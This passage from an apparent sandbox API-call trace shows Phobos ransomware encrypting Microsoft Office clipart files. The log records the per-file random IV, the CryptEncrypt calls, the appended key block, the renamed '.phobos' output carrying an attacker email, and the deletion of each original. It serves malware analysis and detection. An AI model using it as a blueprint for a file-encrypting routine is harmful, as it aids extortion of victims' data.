| out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x6c0, lpOverlapped=0x0) returned 1 [0060.787] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc750) returned 1 [0060.787] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.787] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.787] CryptDestroyKey (hKey=0x10dc750) returned 1 [0060.787] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.787] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0060.787] CloseHandle (hObject=0x334) returned 1 [0060.787] CloseHandle (hObject=0x304) returned 1 [0060.788] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0060.789] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.797] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4976) returned 1 [0060.797] CloseHandle (hObject=0x300) returned 1 [0060.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0060.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.798] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.798] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.886] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0060.886] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.886] ReadFile (in: hFile=0x300, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1370, lpOverlapped=0x0) returned 1 [0060.898] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1380, dwBufLen=0x1380 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1380) returned 1 [0060.898] WriteFile (in: hFile=0x338, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1380, lpOverlapped=0x0) returned 1 [0060.899] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc9d0) returned 1 [0060.899] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.899] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.899] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0060.899] WriteFile (in: hFile=0x338, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.899] CryptDestroyKey (hKey=0x10dc810) returned 1 [0060.899] CloseHandle (hObject=0x300) returned 1 [0060.899] CloseHandle (hObject=0x338) returned 1 [0060.900] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0060.901] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.901] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3104) returned 1 [0060.901] CloseHandle (hObject=0x338) returned 1 [0060.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0060.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.901] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.901] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.902] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0060.902] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.902] ReadFile (in: hFile=0x338, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xc20, lpOverlapped=0x0) returned 1 [0060.938] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc30, dwBufLen=0xc30 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc30) returned 1 [0060.938] WriteFile (in: hFile=0x300, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xc30, lpOverlapped=0x0) returned 1 [0060.939] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0060.939] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.939] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.939] CryptDestroyKey (hKey=0x10dc690) returned 1 [0060.939] WriteFile (in: hFile=0x300, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.939] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0060.939] CloseHandle (hObject=0x338) returned 1 [0060.939] CloseHandle (hObject=0x300) returned 1 [0060.940] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0060.942] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.952] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1588) returned 1 [0060.952] CloseHandle (hObject=0x300) returned 1 [0060.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0060.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.953] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.953] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.965] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc650) returned 1 [0060.965] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.965] ReadFile (in: hFile=0x300, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x634, lpOverlapped=0x0) returned 1 [0061.017] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x640, dwBufLen=0x640 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x640) returned 1 [0061.017] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x640, lpOverlapped=0x0) returned 1 [0061.018] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0061.018] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.018] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.018] CryptDestroyKey (hKey=0x10dc690) returned 1 [0061.018] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.018] CryptDestroyKey (hKey=0x10dc650) returned 1 [0061.018] CloseHandle (hObject=0x300) returned 1 [0061.018] CloseHandle (hObject=0x330) returned 1 [0061.020] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0061.022] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.023] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2052) returned 1 [0061.023] CloseHandle (hObject=0x300) returned 1 [0061.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0061.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.023] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.023] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.023] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc750) returned 1 [0061.024] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.024] ReadFile (in: hFile=0x300, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x804, lpOverlapped=0x0) returned 1 [0061.030] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x810, dwBufLen=0x810 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x810) returned 1 [0061.030] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x810, lpOverlapped=0x0) returned 1 [0061.032] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcbd0) returned 1 [0061.032] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.032] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.032] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0061.032] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.032] CryptDestroyKey (hKey=0x10dc750) returned 1 [0061.032] CloseHandle (hObject=0x300) returned 1 [0061.032] CloseHandle (hObject=0x328) returned 1 [0061.033] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0061.034] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.034] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3524) returned 1 [0061.034] CloseHandle (hObject=0x328) returned 1 [0061.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0061.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.035] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.035] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.035] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dccd0) returned 1 [0061.035] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.035] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xdc4, lpOverlapped=0x0) returned 1 [0061.044] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xdd0) returned 1 [0061.044] WriteFile (in: hFile=0x300, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xdd0, lpOverlapped=0x0) returned 1 [0061.045] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0061.045] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.045] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.045] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0061.045] WriteFile (in: hFile=0x300, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.045] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0061.045] CloseHandle (hObject=0x328) returned 1 [0061.045] CloseHandle (hObject=0x300) returned 1 [0061.046] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0061.047] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.048] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1676) returned 1 [0061.048] CloseHandle (hObject=0x300) returned 1 [0061.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0061.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 